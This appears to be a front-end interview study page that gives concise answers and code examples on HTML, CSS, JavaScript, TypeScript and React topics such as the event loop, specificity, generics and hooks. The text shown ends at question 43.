



Across every technology

# Top interview questions

148 questions that come up in almost every interview · 76 easy · 70 medium · 2 hard.  
Open one to see the answer, a code example and the likely follow-up, then mark it as known or to review.

1

What does `<!DOCTYPE html>` do? What happens if you leave it out?

HTML

Easy



#basics #rendering

The doctype is the first line of the document. It tells the browser to render the page in **standards mode**, following the current HTML and CSS specs.

Without it, browsers fall back to **quirks mode**, which imitates old browser bugs from the 1990s for backwards compatibility. Layout can then differ between browsers: for example, the box model, table sizing and some percentage heights behave differently.

- `<!DOCTYPE html>` is the only doctype you need for HTML5
- it is not a tag, it is an instruction to the parser
- it is case-insensitive

**Likely follow-up:** How can you check which mode a page is in? (`document.compatMode`)

2

What is semantic HTML and why does it matter?

HTML

Easy



#semantics #accessibility

Semantic HTML means using elements that describe the **meaning** of the content, not just how it looks: `<header>`, `<nav>`, `<main>`, `<article>`, `<section>`, `<aside>`, `<footer>`, `<button>`, `<h1>` – `<h6>`, instead of a pile of `<div>`s.

Why it matters:

- **accessibility:** screen readers use landmarks and headings to navigate, and native elements come with **keyboard support and roles for free**
- **SEO:** search engines understand the structure and the main content
- **maintainability:** the markup is easier to read

A `<div onclick>` pretending to be a button is the classic anti-pattern: it is not focusable and does not respond to Enter or Space.

#### Example

```
<header>
  <nav aria-label="Main">
    <a href="/">Home</a>
  </nav>
</header>
<main>
  <article>
    <h1>Post title</h1>
    <p>Content...</p>
  </article>
  <aside>Related links</aside>
</main>
<footer>© 2026</footer>
```

🔗 Likely follow-up: When would you use `<section>` vs `<article>` vs `<div>`?

3

### What is the difference between block, inline and inline-block elements?

HTML

Easy



#basics #layout

**Block** elements (`<div>`, `<p>`, `<h1>`, `<ul>`, `<section>`) start on a new line and take the full width available. Width, height, margin and padding all apply.

**Inline** elements (`<span>`, `<a>`, `<strong>`, `<em>`) flow inside a line of text and are only as wide as their content. **Width and height are ignored**, and vertical margins do not push other lines away.

**Inline-block** elements (like `<button>` and `<input>`) sit in the line like inline but respects width, height and vertical spacing.

The default comes from the browser stylesheet; CSS `display` can change any element.

4

What is the difference between `<script>`, `<script async>` and `<script defer>`?

HTML

Medium



#performance #scripts

A plain `<script>` **blocks HTML parsing**: the parser stops, downloads the file, runs it, then continues.

- `async`: downloads in parallel and runs **as soon as it arrives**, pausing parsing at that moment. Order between async scripts is not guaranteed. Good for independent scripts like analytics.
- `defer`: downloads in parallel and runs **after parsing finishes**, just before `DOMContentLoaded`, in document order. Good for your app code that needs the DOM.

`type="module"` scripts are deferred by default. Putting a plain script at the end of `<body>` is the older way to get similar behaviour.

#### Example

```
<head>
  <!-- runs whenever it arrives, any order -->
  <script async src="analytics.js"></script>
  <!-- runs after parsing, in order -->
  <script defer src="vendor.js"></script>
  <script defer src="app.js"></script>
</head>
```

🔗 Likely follow-up: What is the difference between `DOMContentLoaded` and `load`?

5

Compare `localStorage`, `sessionStorage` and cookies.

HTML

Easy



#storage #security

- **localStorage**: about 5 MB per origin, persists until cleared, never sent to the server
- **sessionStorage**: same API, but scoped to one tab and cleared when that tab closes
- **cookies**: about 4 KB, can have an expiry, and are **sent with every HTTP request** to their domain

Both storage APIs are synchronous and string-only, so you store objects with `JSON.stringify`. They are readable by any script on the page, so **never put auth tokens there** if you can avoid it: an XSS bug can steal them.

For sessions, prefer an `HttpOnly` cookie, which JavaScript cannot read. For larger or structured client data, use IndexedDB.

? Likely follow-up: What do the `HttpOnly`, `Secure` and `SameSite` cookie flags do?

6

## How do you make a page accessible? When should you use ARIA?

HTML Medium 🔥🔥 #accessibility #aria

Start with **native semantic HTML**, it covers most needs:

- real `<button>`, `<a href>`, `<label>` and form controls
- a logical heading order and landmarks (`<main>`, `<nav>`)
- `alt` text on images, enough colour contrast, visible focus styles
- everything usable with the keyboard alone

**ARIA** (`role`, `aria-label`, `aria-expanded`, `aria-live` ...) adds meaning for assistive tech when HTML has no native element, for example a custom tabs widget or a live status message. It changes only what screen readers announce, not behaviour.

The first rule of ARIA: **no ARIA is better than bad ARIA**. If a native element exists, use it.

### Example

```
<button aria-expanded="false" aria-controls="menu">Menu</button>
<ul id="menu" hidden>...</ul>

<button aria-label="Close dialog">x</button>

<div role="status" aria-live="polite">Saved!</div>
```

? Likely follow-up: How would you test a page for accessibility?

7

## How does form validation work in HTML?

HTML Easy 🔥🔥 #forms #validation

HTML has **built-in constraint validation**. Attributes such as `required`, `type="email"`, `min` / `max`, `minlength` / `maxlength` and `pattern` make the browser block submission and show a message.

Good form basics:

- every input has a `<label for>` (or is wrapped in one)
- use the right `type` (`email`, `tel`, `number`, `date`) for mobile keyboards
- `name` attributes, since that is what gets submitted
- `autocomplete` hints such as `autocomplete="email"`

From JavaScript you can use `checkValidity()`, `setCustomValidity()` and the `:invalid` CSS pseudo-class.

Client-side validation is only for user experience: **always validate again on the server.**

#### Example

```
<form action="/signup" method="post">
  <label for="email">Email</label>
  <input id="email" name="email" type="email" required
autocomplete="email">

  <label for="pin">PIN</label>
  <input id="pin" name="pin" inputmode="numeric" pattern="[0-9]{4}"
required>

  <button type="submit">Sign up</button>
</form>
```

 **Likely follow-up:** What is the difference between `GET` and `POST` form submission?

8

What does the `<meta name="viewport">` tag do?

HTML Easy 🔥🔥 #responsive #meta

Without it, mobile browsers assume the page was built for desktop and render it in a virtual viewport about 980px wide, then zoom out. Your media queries never match and the text is tiny.

`<meta name="viewport" content="width=device-width, initial-scale=1">` tells the browser to make the **layout viewport equal to the device width** at 100% zoom, so responsive CSS works.

Avoid `user-scalable=no` or `maximum-scale=1`: blocking pinch-zoom is an accessibility problem.

9

## Explain the CSS box model.

CSS

Easy



#box model #layout

Every element is a rectangular box made of four layers, from the inside out:

- **content:** the text or image itself
- **padding:** space inside the border, takes the background colour
- **border**
- **margin:** transparent space outside the border, separating it from other boxes

By default (`box-sizing: content-box`), `width` and `height` apply to the **content only**, so padding and border are added on top. A `width: 200px` box with `20px` padding and a `1px` border is actually 242px wide.

DevTools shows this as the coloured box diagram in the Computed panel.

 **Likely follow-up:** What is margin collapsing?

10

## What does `box-sizing: border-box` do, and why do most resets use it?

CSS

Easy



#box model

With `border-box`, the `width` and `height` you set **include padding and border**. Adding padding shrinks the content area instead of making the box bigger.

That makes layouts predictable: two `width: 50%` columns with padding still fit side by side, which they would not with the default `content-box`.

That is why almost every reset (and Tailwind's preflight) applies it to everything, including pseudo-elements. Margin is never included in either model.

### Example

```
*,
*::before,
*::after {
  box-sizing: border-box;
}

.card {
  width: 300px;
  padding: 20px;
  border: 1px solid #ddd; /* still exactly 300px wide */
}
```

11

## How does CSS specificity work?

CSS

Medium



#specificity #cascade

When several rules target the same element, the one with the highest specificity wins. It is compared as three numbers (**IDs, classes, elements**):

- **IDs:** `#nav` is (1,0,0)
- **classes, attributes, pseudo-classes:** `.btn`, `[type="text"]`, `:hover` are (0,1,0)
- **elements and pseudo-elements:** `p`, `::before` are (0,0,1)

The columns are compared left to right, so **one ID beats any number of classes**. Inline **style** beats all of them, and **!important** beats inline. With equal specificity, the rule that comes last wins.

**\*** and combinators add nothing; `:where()` counts as zero, and `:is()` / `:not()` take their most specific argument.

### Example

```
p { color: black; } /* 0,0,1 */
.intro { color: blue; } /* 0,1,0 */
article p.intro { color: green; } /* 0,1,2 wins over .intro */
#hero p { color: red; } /* 1,0,1 wins over all above */
:where(#hero) p { color: gray; } /* 0,0,1 :where adds zero */
```

**Likely follow-up:** Why is overusing **!important** a problem, and what are cascade layers (**@layer**)?

12

Explain **position**: static, relative, absolute, fixed and sticky.

CSS

Easy



#positioning #layout

- **static** (default): normal flow; **top** / **left** and **z-index** have no effect
- **relative**: stays in the flow, but can be nudged with offsets. Its main job is being the **containing block** for absolute children
- **absolute**: removed from the flow, positioned relative to the **nearest positioned ancestor** (any non-static position), or the page if there is none
- **fixed**: removed from the flow, positioned relative to the viewport, so it stays put on scroll
- **sticky**: behaves like relative until a scroll threshold (**top: 0**), then sticks within its parent

A common gotcha: a parent with **transform** or **filter** becomes the containing block even for **fixed** children.

#### Example

```
.card { position: relative; }

.card .badge {
  position: absolute;
  top: 8px;
  right: 8px;      /* corner of .card, not the page */
}

.table-header { position: sticky; top: 0; }
```

? Likely follow-up: Why might **position: sticky** not work? (overflow on an ancestor, no **top** set)

13

Flexbox vs Grid: when do you use each?

CSS

Medium



#flexbox #grid #layout

**Flexbox** is **one-dimensional**: it lays items out in a row **or** a column, and sizes them based on their content. Great for nav bars, toolbars, button groups, centering, and lists that wrap.

**Grid** is two-dimensional: you define rows **and** columns, and place items into that structure. Great for page layouts, card galleries, dashboards and anything that must line

up in both directions.

A rule of thumb: flexbox is **content-out** (items decide their size), grid is **layout-in** (the container decides). They combine well: a grid page layout with flex inside each card.

#### Example

```
/* flex: a row of items, spacing between them */
.toolbar { display: flex; align-items: center; gap: 8px; }
.toolbar .spacer { flex: 1; }

/* grid: responsive cards, no media query */
.cards {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(220px, 1fr));
  gap: 16px;
}
```

 **Likely follow-up:** What is the difference between `auto-fill` and `auto-fit`?

14

## How do you center a div horizontally and vertically?

CSS

Easy



#layout #flexbox #grid

The modern answers:

- **Flexbox** on the parent: `display: flex; justify-content: center; align-items: center`
- **Grid** on the parent: `display: grid; place-items: center` (the **shortest option**)
- **Absolute** positioning: `position: absolute; inset: 0; margin: auto` with a set size, or `top: 50%; left: 50%; transform: translate(-50%, -50%)` for unknown sizes

For horizontal-only centering of a block with a width, `margin: 0 auto` still works. For inline content and text, `text-align: center`.

Remember the parent needs a height for vertical centering to be visible.

### Example

```
.parent {
  display: grid;
  place-items: center;
  min-height: 100vh;
}

/* or */
.parent {
  display: flex;
  justify-content: center; /* main axis */
  align-items: center;     /* cross axis */
}
```

15

What is the difference between `px`, `em`, `rem`, `%`, `vh` and `vw`?

CSS Easy 🔥🔥 #units #responsive

- `px`: fixed (a CSS pixel, not a device pixel)
- `em`: relative to the **current element's font size** (for `font-size` itself, the parent's), so it compounds when nested
- `rem`: relative to the **root font size** (on `html`), usually 16px, so it is predictable and respects the user's browser font setting
- `%`: relative to the parent (width for widths and padding, font size for font size)
- `vh` / `vw`: 1% of the viewport height / width

Common practice: `rem` for font sizes and spacing, `em` for things that should scale with their own text (button padding), `px` for borders. On mobile, `100vh` can be taller than the visible area; use `100dvh`.

🔗 Likely follow-up: Why is `rem` better for accessibility than `px` for font sizes?

16

How do media queries work, and what is mobile-first?

CSS Easy 🔥🔥 #responsive #media queries

Media queries apply styles only when a condition is true, usually the viewport width:

```
@media (min-width: 768px) { ... }.
```

**Mobile-first** means writing the base styles for small screens and adding `min-width` queries to enhance for larger ones. Benefits:

- the simplest layout is the default, so phones load the least CSS overrides
- it forces you to prioritise content
- styles build up instead of being undone

Desktop-first uses `max-width` queries and tends to pile up overrides. Beyond width, you can query `prefers-color-scheme`, `prefers-reduced-motion`, `hover` and `orientation`. Pick breakpoints where your content breaks, not for specific devices.

#### Example

```
.grid { display: grid; gap: 16px; } /* phone: 1 column */

@media (min-width: 640px) {
  .grid { grid-template-columns: 1fr 1fr; } /* tablet */
}

@media (min-width: 1024px) {
  .grid { grid-template-columns: repeat(4, 1fr); }
}

@media (prefers-reduced-motion: reduce) {
  * { animation: none !important; }
}
```

17

What is the difference between `var`, `let` and `const`?

JavaScript Easy 🔥🔥 #scope #hoisting

**Scope:** `var` is function-scoped; `let` and `const` are block-scoped (inside `{}`).

**Hoisting:** all three are hoisted, but `var` is initialised to `undefined`, while `let`/`const` stay in the `temporal dead zone` until their line runs, so using them earlier throws a `ReferenceError`.

**Re-assignment:** `const` cannot be re-assigned, but the object it points to can still be mutated.

- Default to `const`, use `let` when the value changes, avoid `var`.

#### Example

```
const user = { name: 'Asha' }
user.name = 'Ben'           // allowed: mutating, not re-assigning
console.log(user.name)      // Ben

try { console.log(x) } catch (e) { console.log(e.name) } //
ReferenceError (TDZ)
let x = 1
console.log(typeof y)        // undefined: var y is hoisted
var y = 2
```

? Likely follow-up: Why does `for (var i...) setTimeout(() => log(i))` print 3,3,3?

18

## What is a closure? Give a real use.

JavaScript

Easy



#closures #scope

A closure is a function bundled with the variables of the scope where it was **created**. It can still read and update them after that outer function has returned.

Real uses:

- private state (counters, caches) without classes
- function factories such as `makeMultiplier(2)`
- `once`, `memoize`, `debounce`, which all keep state between calls
- event handlers that remember data from when they were attached

#### Example

```
function counter() {
  let count = 0           // private: only the returned
  functions see it
  return { inc: () => ++count, get: () => count }
}
const c = counter()
c.inc(); c.inc()
console.log(c.get())      // 2
console.log(c.count)      // undefined
```

? Likely follow-up: Can closures cause memory leaks?

19

Explain the event loop. What prints first: a `setTimeout(..., 0)` or a resolved promise?

JavaScript

Medium



#event loop #async

JavaScript runs on one thread with a `call stack`. Async work (timers, I/O, fetch) is handed to the browser or Node, and its callbacks wait in queues.

The loop: run all synchronous code → empty the **microtask** queue (promise callbacks, `queueMicrotask`, `await` continuations) → take **one** macrotask (timer, I/O, event) → microtasks again → render (in the browser) → repeat.

So the promise callback runs before `setTimeout(..., 0)`, even though both are "async".

#### Example

```
console.log('1 sync')
setTimeout(() => console.log('4 timeout (macrotask)'), 0)
Promise.resolve().then(() => console.log('3 promise (microtask)'))
console.log('2 sync')
```

? Likely follow-up: What happens if a microtask keeps queueing microtasks?

20

How is `this` decided in JavaScript?

JavaScript

Medium



#this #functions

`this` depends on **how a function is called**, not where it is written:

- `obj.method()`: `this` is `obj`
- a plain call `fn()`: `undefined` in strict mode (the global object otherwise)
- `new Fn()`: the newly created object
- `fn.call(x)` / `apply` / `bind`: whatever you pass
- **arrow functions** have no own `this`; they use the one from the surrounding scope

A classic bug is passing `obj.method` as a callback, which loses `this`. Fix it with `bind` or an arrow function.

### Example

```
'use strict'
const user = {
  name: 'Asha',
  hi() { return 'Hi ' + (this ? this.name : 'undefined this') },
}
const hi = user.hi
console.log(user.hi())           // Hi Asha
console.log(hi())                // lost: plain call
console.log(hi.call({ name: 'Ben' }))
console.log(user.hi.bind(user)())
```

21

`==` vs `===`?

JavaScript Easy 🔥🔥 #types #coercion

`===` (strict equality) compares value **and** type with no conversion. `==` converts types first, with surprising rules (`'' == 0` and `null == undefined` are true).

Always use `===`. The one common exception is `x == null`, which checks for both `null` and `undefined`.

Objects are compared **by reference** with both operators: two different objects with the same contents are not equal.

### Example

```
console.log(1 == '1', 1 === '1')    // true false
console.log('' == 0, null == undefined) // true true
console.log(NaN === NaN, Object.is(NaN, NaN)) // false true
console.log({} === {})               // false: different references
```

22

## What is hoisting?

JavaScript Easy 🔥🔥 #hoisting #scope

Before code runs, the engine sets up each scope. Declarations are "moved to the top":

- **function declarations** are hoisted completely, so you can call them before their line
- `var` is hoisted and initialised to `undefined`

- `let`, `const` and `class` are hoisted but stay uninitialised (temporal dead zone)
- **function expressions and arrow functions** follow the rules of the variable that holds them

#### Example

```
console.log(add(2, 3))           // 5: declaration fully hoisted
function add(a, b) { return a + b }

try { mul(2, 3) } catch (e) { console.log(e.name) } // ReferenceError
(const in TDZ)
const mul = (a, b) => a * b
```

23

What are promises, and how does `async` / `await` relate to them?

JavaScript

Easy



#async #promises

A **promise** stands for a value that will be ready later. It is `pending`, then either fulfilled or rejected, and you react with `.then` / `.catch` / `.finally`.

`async` functions always return a promise. `await` pauses the function (not the thread) until the promise settles, so async code reads top to bottom. Errors are handled with `try/catch`.

#### Example

```
const wait = (ms, v) => new Promise((resolve) => setTimeout(() =>
  resolve(v), ms))

async function main() {
  try {
    const a = await wait(50, 'first')
    console.log(a)
    await Promise.reject(new Error('boom'))
  } catch (e) {
    console.log('caught', e.message)
  }
}
main()
```

? Likely follow-up: How do you run three requests in parallel and wait for all of them?

24

## Debounce vs throttle. Implement debounce.

JavaScript

Medium



#closures #performance #coding

- **Debounce**: run only after the calls have **stopped** for **ms** (search box, window resize end)
- **Throttle**: run at most **once every ms** while the calls keep coming (scroll, mousemove)

Both are closures that keep a timer or a timestamp between calls.

### Example

```
function debounce(fn, ms) {
  let timer
  return (...args) => {
    clearTimeout(timer)
    timer = setTimeout(() => fn(...args), ms)
  }
}

function throttle(fn, ms) {
  let last = 0
  return (...args) => {
    const now = Date.now()
    if (now - last >= ms) { last = now; fn(...args) }
  }
}

const search = debounce((q) => console.log('search for', q), 50)
search('r'); search('re'); search('rea'); search('react') // only "react"
runs
```

25

## Shallow copy vs deep copy? How do you deep-copy an object?

JavaScript

Easy



#objects

A **shallow copy** (`{...obj}`, `Object.assign`, `arr.slice()`) copies only the top level. Nested objects are still **shared**.

A **deep copy** duplicates every level. Use `structuredClone(obj)`, which handles Dates, Maps, Sets and cycles but not functions or DOM nodes.

`JSON.parse(JSON.stringify(x))` loses Dates, `undefined`, functions and Maps.

### Example

```
const user = { name: 'Asha', address: { city: 'Pune' } }
const shallow = { ...user }
const deep = structuredClone(user)
user.address.city = 'Delhi'
console.log(shallow.address.city) // Delhi: shared
console.log(deep.address.city)    // Pune
```

26

## How are arrow functions different from regular functions?

JavaScript

Easy



#functions #this

- no own `this`: they use `this` from the surrounding scope, which is great for callbacks
- no `arguments` object; use rest parameters
- cannot be called with `new` and have no `prototype`
- shorter syntax with an implicit return: `x => x * 2`

Don't use them as **object methods** that need `this`, or as constructors.

27

## Output question: what does this print, and why?

JavaScript

Medium



#event loop #scope #quiz

This is a classic mix of hoisting, the event loop and loop scope:

1. `var` loop + `setTimeout` prints `3 3 3`: one shared `i`, and the timers run after the loop
2. `let` loop prints `0 1 2`: each iteration gets its own `j`
3. The synchronous log runs first, then microtasks, then timers

Interviewers want the **reasoning** (one variable vs one per iteration, and the queue order), not just the answer.

### Example

```
for (var i = 0; i < 3; i++) setTimeout(() => console.log('var', i), 0)
for (let j = 0; j < 3; j++) setTimeout(() => console.log('let', j), 0)
Promise.resolve().then(() => console.log('microtask'))
console.log('sync')
```

28

## What is TypeScript and why use it over JavaScript?

TypeScript

Easy



#basics

TypeScript is JavaScript plus a **static type system**. It compiles to plain JavaScript, and **types are erased at runtime**: they only exist while you write and build code.

Benefits:

- many bugs (typos, wrong arguments, **undefined** access) are caught before the code runs
- much better editor support: autocomplete, inline docs, safe renames
- types act as documentation and make refactoring large codebases safer

Costs: a build step, some learning curve, and the fact that types cannot validate data coming from outside (API responses, user input) at runtime.

**Likely follow-up:** Since types are erased, how do you validate an API response at runtime?

29

## What is the difference between **interface** and **type**?

TypeScript

Easy



#types #interfaces

For describing object shapes they are almost interchangeable. The differences:

- **type** can name **any** type: unions (**'a' | 'b'**), tuples, primitives, mapped and conditional types. **interface** only describes object shapes.
- **interface** supports **declaration merging**: declaring it twice merges the members (used to extend library types like **Window**). A **type** cannot be re-opened.
- **interface** extends with **extends**; **type** composes with intersections (**&**). **extends** reports conflicts more clearly.

A common rule: `interface` for object shapes and public APIs, `type` for unions and everything else. Consistency within a codebase matters more than the choice.

#### Example

```
interface User { id: number; name: string }
interface Admin extends User { permissions: string[] }

type Status = 'active' | 'banned' // only a type can do this
type Member = User & { status: Status }

const a: Admin = { id: 1, name: 'Asha', permissions: ['delete'] }
const m: Member = { id: 2, name: 'Ben', status: 'active' }
console.log(a.permissions, m.status)
```

30

What is the difference between `any`, `unknown` and `never`?

TypeScript

Medium



#types #safety

- `any` switches type checking off. Anything can be assigned to it and you can do anything with it, so errors spread silently. Avoid it.
- `unknown` is the **safe** version: anything can be assigned to it, but you cannot use it until you narrow it (`typeof`, `instanceof`, a type guard). Use it for `JSON.parse` results, `catch` errors and other untrusted input.
- `never` is the type with **no values**: a function that always throws, or a branch that can never happen. It is used for exhaustiveness checks.

`void` is different again: a function returns nothing useful.

### Example

```
function parse(json: string): unknown {
  return JSON.parse(json)
}

const data = parse('{ "name": "Asha" }')
// data.name // error: 'data' is of type 'unknown'
if (typeof data === 'object' && data !== null && 'name' in data) {
  console.log((data as { name: string }).name)
}

function fail(msg: string): never {
  throw new Error(msg)
}
try { fail('boom') } catch (e) { console.log(e instanceof Error ?
e.message : e) }
```

31

What are generics? Give an example.

TypeScript

Medium



#generics

Generics are **type parameters**: they let a function, class or type work with many types while keeping the relationship between input and output.

Without generics you would write `any` and lose the type information. With `function first<T>(arr: T[]): T | undefined`, calling it with `string[]` returns `string | undefined`.

TypeScript usually **infers** `T` from the arguments. You can restrict it with a **constraint** (`T extends { id: number }`) and give it a default (`T = string`).

Everyday examples: `Array<T>`, `Promise<T>`, `useState<T>`, and typed API helpers like `fetchJson<T>(url)`.

### Example

```
function first<T>(arr: T[]): T | undefined {
  return arr[0]
}

function findById<T extends { id: number }>(items: T[], id: number): T |
undefined {
  return items.find((item) => item.id === id)
}

const n = first([1, 2, 3])           // number | undefined
const s = first(['a', 'b'])         // string | undefined
const user = findById([{ id: 1, name: 'Asha' }], 1)
console.log(n, s, user?.name)      // name is known: T kept the full
shape
```

? Likely follow-up: What does `<T extends keyof U>` mean?

32

## Which built-in utility types do you use most?

TypeScript

Medium



#utility types

- `Partial<T>`: all properties optional (update payloads)
- `Required<T>`: all properties required
- `Readonly<T>`: all properties read-only
- `Pick<T, 'a' | 'b'>`: keep only some keys
- `Omit<T, 'password'>`: drop some keys
- `Record<K, V>`: an object with keys `K` and values `V`
- `ReturnType<typeof fn>` and `Parameters<typeof fn>`: types taken from a function
- `Awaited<T>`: the resolved type of a promise
- `NonNullable<T>`, `Exclude<U, X>`, `Extract<U, X>`: filter unions

They let you **derive types from one source of truth** instead of copying them, so a change to `User` flows everywhere.

### Example

```
interface User { id: number; name: string; email: string; password: string }

type PublicUser = Omit<User, 'password'>
type UserUpdate = Partial<Pick<User, 'name' | 'email'>>
type Roles = Record<'admin' | 'viewer', string[]>

const pub: PublicUser = { id: 1, name: 'Asha', email: 'a@x.io' }
const patch: UserUpdate = { name: 'Asha K' }
const roles: Roles = { admin: ['*'], viewer: ['read'] }
console.log(pub, patch, roles.admin)
```

? Likely follow-up: How would you implement `Partial` or `Pick` yourself?

33

## What is type narrowing? What is a type guard?

TypeScript

Medium



#narrowing #type guards

**Narrowing** is how TypeScript refines a broad type (like `string | number`) to a more specific one inside a branch, by following your runtime checks:

- `typeof x === 'string'`
- `x instanceof Date`
- `'swim' in animal`
- equality and truthiness checks (`if (user)`)
- discriminant checks (`shape.kind === 'circle'`)

A **user-defined type guard** is a function whose return type is a **type predicate** like `value is Fish`. When it returns `true`, TypeScript narrows the argument. Assertion functions (`asserts value is string`) narrow by throwing instead.

Be careful: the compiler trusts your guard, so a wrong implementation lies to it.

### Example

```
type Fish = { swim: () => string }
type Bird = { fly: () => string }

function isFish(pet: Fish | Bird): pet is Fish {
  return 'swim' in pet
}

function move(pet: Fish | Bird) {
  return isFish(pet) ? pet.swim() : pet.fly() // narrowed in each
  branch
}

function format(x: string | number) {
  return typeof x === 'number' ? x.toFixed(2) : x.toUpperCase()
}

console.log(move({ swim: () => 'swimming' }), format(3.14159),
format('hi'))
```

34

What is a discriminated union, and how do you make a `switch` exhaustive?

TypeScript

Medium



#unions #narrowing

A discriminated union is a union of object types that all share a **literal "tag" property**, such as `kind` or `status`. Checking the tag narrows the whole object, so each branch knows exactly which fields exist.

It is the standard way to model state: `{ status: 'loading' } | { status: 'success'; data: T } | { status: 'error'; error: string }`. Impossible states (data and error at once) cannot be expressed.

For **exhaustiveness**, assign the value to `never` in the `default` branch. If someone adds a new variant and forgets to handle it, **the code stops compiling**.

### Example

```
type Shape =  
  | { kind: 'circle'; radius: number }  
  | { kind: 'rect'; width: number; height: number }  
  
function area(s: Shape): number {  
  switch (s.kind) {  
    case 'circle': return Math.PI * s.radius ** 2  
    case 'rect': return s.width * s.height  
    default: {  
      const unreachable: never = s // errors if a kind is not handled  
      return unreachable  
    }  
  }  
}  
  
console.log(area({ kind: 'rect', width: 2, height: 3 }))  
console.log(area({ kind: 'circle', radius: 1 }).toFixed(2))
```

35

What does `strict` mode do? Why does `strictNullChecks` matter so much?

TypeScript

Easy



#config #safety

`"strict": true` in `tsconfig.json` turns on a family of checks, including `noImplicitAny`, `strictNullChecks`, `strictFunctionTypes` and `strictPropertyInitialization`. New projects should always enable it.

`strictNullChecks` is the most important one. Without it, `null` and `undefined` are allowed in **every** type, so `user.name` compiles even when `user` might be missing. With it, `null` and `undefined` are separate types, and **you must handle them before use** (with a check, `?.`, or `??`).

That catches the single most common JavaScript runtime error: "cannot read properties of undefined".

#### Example

```
type User = { name: string }
const users: User[] = [{ name: 'Asha' }]

const found = users.find((u) => u.name === 'Ben') // User | undefined
// console.log(found.name)                       // error: possibly
// 'undefined'
console.log(found?.name ?? 'not found')

if (found) console.log(found.name)                // narrowed to User
```

? Likely follow-up: What other `tsconfig` options would you turn on?  
( `noUncheckedIndexedAccess` )

36

## What is the virtual DOM and how does reconciliation work?

React

Easy



#rendering #virtual dom

The **virtual DOM** is a lightweight tree of plain JavaScript objects describing what the UI should look like. When state changes, React calls your components again to build a new tree.

**Reconciliation** is the diff between the old and new trees. React then applies only the minimal set of real DOM changes, because touching the real DOM is the expensive part.

The diff uses two shortcuts to stay fast (roughly  $O(n)$ ):

- a different element **type** at the same position means "throw away the subtree and rebuild"
- in lists, **keys** tell React which child is which across renders

The point is not that the virtual DOM is "faster than the DOM", it is that you write declarative UI and React works out the updates.

? Likely follow-up: What changed with the Fiber architecture?

37

## Why do list items need a `key`, and why is the array index a bad key?

React

Easy



#lists #rendering

A `key` gives each list item a `stable identity` so React can match items between renders. It decides which DOM nodes (and which component state) to keep, move, create or delete.

Using the **index** breaks when the list is reordered, filtered or has items inserted at the top: the indexes shift, so React reuses the wrong component for the wrong data. Symptoms are inputs keeping the wrong text, wrong checkboxes ticked, or broken animations.

- Use a real id from the data ( `todo.id` )
- The index is fine only for static lists that never reorder
- Changing a component's `key` on purpose forces a full remount, a handy way to reset state

### Example

```
{todos.map((todo) => (  
  <TodoItem key={todo.id} todo={todo} />    // stable id, not index  
))}  
  
// reset a form when the selected user changes  
<ProfileForm key={userId} userId={userId} />
```

38

## What is the difference between props and state?

React

Easy



#props #state

**Props** are inputs passed from a parent. They are read-only inside the child; the parent owns them.

**State** is data a component owns and changes over time with `useState` or `useReducer`. Updating state `triggers a re-render` of that component and its children.

- Data flows one way: parents pass state down as props
- A child changes parent data by calling a callback prop ( `onChange` )
- If a value can be computed from props or other state, do not store it in state; calculate it during render

🔗 Likely follow-up: What is derived state and why is copying props into state a bug?

39

## Controlled vs uncontrolled components?

React Easy 🔥🔥 #forms

A **controlled** input gets its `value` from React state and updates it through `onChange`. React is the single source of truth, so validation, formatting and conditional UI are easy.

An **uncontrolled** input keeps its own value in the DOM. You set a `defaultValue` and read it when needed, through a `ref` or `FormData` on submit.

- Controlled: instant validation, dependent fields, live previews
- Uncontrolled: simple forms, file inputs (always uncontrolled), fewer re-renders
- Libraries like React Hook Form are mostly uncontrolled for performance

A common warning is switching from uncontrolled to controlled because `value` started as `undefined`; initialise with `''`.

### Example

```
function Controlled() {
  const [email, setEmail] = useState('')
  return <input value={email} onChange={(e) => setEmail(e.target.value)} />
}

function Uncontrolled() {
  const ref = useRef<HTMLInputElement>(null)
  return <input ref={ref} defaultValue="" onBlur={() =>
    console.log(ref.current?.value)} />
}
```

40

## Why does calling `setCount(count + 1)` three times only add 1? What is batching?

React Medium 🔥🔥 #hooks #state

State updates are not applied immediately. Inside one render, `count` is a fixed snapshot, so all three calls set it to the same value (`0 + 1`).

Use the **functional update** form when the new value depends on the old one:

`setCount(c => c + 1)`. React queues the updater functions and runs them in order, so three calls add 3.

**Batching** means React groups several state updates into **a single re-render**. Since React 18 this is automatic everywhere: event handlers, promises, timeouts and native listeners.

#### Example

```
function Counter() {
  const [count, setCount] = useState(0)
  function addThree() {
    setCount(count + 1)      // 0 + 1
    setCount(count + 1)      // 0 + 1 again
    setCount((c) => c + 1)    // uses the queued value: 2
  }
  return <button onClick={addThree}>{count}</button> // shows 2
}
```

? Likely follow-up: How would you read the new state right after setting it?

41

How does `useEffect` work: dependencies, cleanup, and why does it run twice in development?

React Medium 🔥 #hooks #effects

`useEffect` runs code **after** React has painted, to sync with something outside React (subscriptions, timers, the DOM, network).

- No array: runs after every render
- `[]`: runs once after mount
- `[a, b]`: runs when `a` or `b` changed (compared with `Object.is`)

The function you return is the **cleanup**. It runs before the effect runs again and on unmount: unsubscribe, clear timers, abort fetches.

In development, **StrictMode** mounts, unmounts and remounts each component, so effects run, clean up and run again. This is deliberate: it **exposes missing cleanup**. It does not happen in production.

#### Example

```
useEffect(() => {
  const controller = new AbortController()
  fetch(`/api/users/${id}`, { signal: controller.signal })
    .then((r) => r.json())
    .then(setUser)
    .catch(() => {})
  return () => controller.abort() // cleanup: cancel stale request
}, [id])
```

? Likely follow-up: When do you NOT need an effect?

42

`useMemo` VS `useCallback` VS `React.memo` ?

React

Medium



#performance #hooks

- `useMemo(() => value, deps)` caches a **computed value** between renders
- `useCallback(fn, deps)` caches a **function** (it is `useMemo(() => fn, deps)`)
- `React.memo(Component)` skips re-rendering a **component** when its props are shallowly equal

They work together: `React.memo` is useless if the parent passes a new object or arrow function each render, so you stabilise those props with `useMemo` / `useCallback`.

Use them for expensive calculations, props to memoised children, or effect dependencies. Do not wrap everything: memoisation has its own cost. With the **React Compiler** (stable in 2025), much of this is **done automatically** at build time.

#### Example

```
const Row = React.memo(function Row({ item, onSelect }: RowProps) {
  return <li onClick={() => onSelect(item.id)}>{item.name}</li>
})

function List({ items, query }: ListProps) {
  const visible = useMemo(() => items.filter((i) =>
    i.name.includes(query)), [items, query])
  const onSelect = useCallback((id: string) => console.log(id), [])
  return <ul>{visible.map((i) => <Row key={i.id} item={i} onSelect=
    {onSelect} />)}</ul>
}
```

? Likely follow-up: How do you find out which components re-render too often?

43

What is a custom hook? Write one.

React Medium 🔥 #hooks #reuse

